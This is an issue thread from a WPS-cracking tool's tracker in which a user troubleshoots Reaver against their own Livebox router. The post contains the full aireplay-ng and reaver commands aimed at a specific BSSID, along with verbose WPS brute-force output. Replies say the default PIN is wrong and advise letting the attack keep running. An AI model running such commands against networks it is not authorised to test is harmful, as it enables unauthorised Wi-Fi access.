Good PIN tested but not detected as the good one

[GoogleCodeExporter]

Hi everyone, sorry for my english.

I run reaver to crack my Livebox (Orange - France) which has the WPS enabled 
with PIN 12345670 (default). 

When I run reaver (with aireplay-ng mon0 -1 120 -a 00:1D:6A:69:EB:F2 -e 
Livebox-a484 in another shell):

root@self:~/Desktop/reaver_test/trunk/docs# reaver -i mon0 -b 00:1D:6A:69:EB:F2 
-c 6 -vv --no-nacks 

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Switching mon0 to channel 6
[?] Restore previous session for 00:1D:6A:69:EB:F2? [n/Y] n
[+] Waiting for beacon from 00:1D:6A:69:EB:F2
[+] Associated with 00:1D:6A:69:EB:F2 (ESSID: Livebox-a484)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 01235678

As you can see, the first PIN code tested (12345670) is the good one, but 
reaver seems to not detect that. What's wrong?

Thank you.

Original issue reported on code.google.com by gaetan.h...@gmail.com on 26 May 2012 at 6:46

[GoogleCodeExporter]

Well, PIN 12345670 is not actually the PIN on the device. Leave it running and 
paste the output here when it recovers your actual PIN. 

Cheers BHT

Original comment by BHT...@gmail.com on 2 Jun 2012 at 2:22

[GoogleCodeExporter]

If it doesn't trigger M5 and M7 responses then it's definitely wrong. Leave 
reaver running, it will find the right key eventually. 

Original comment by nexdem...@gmail.com on 27 Jul 2012 at 8:01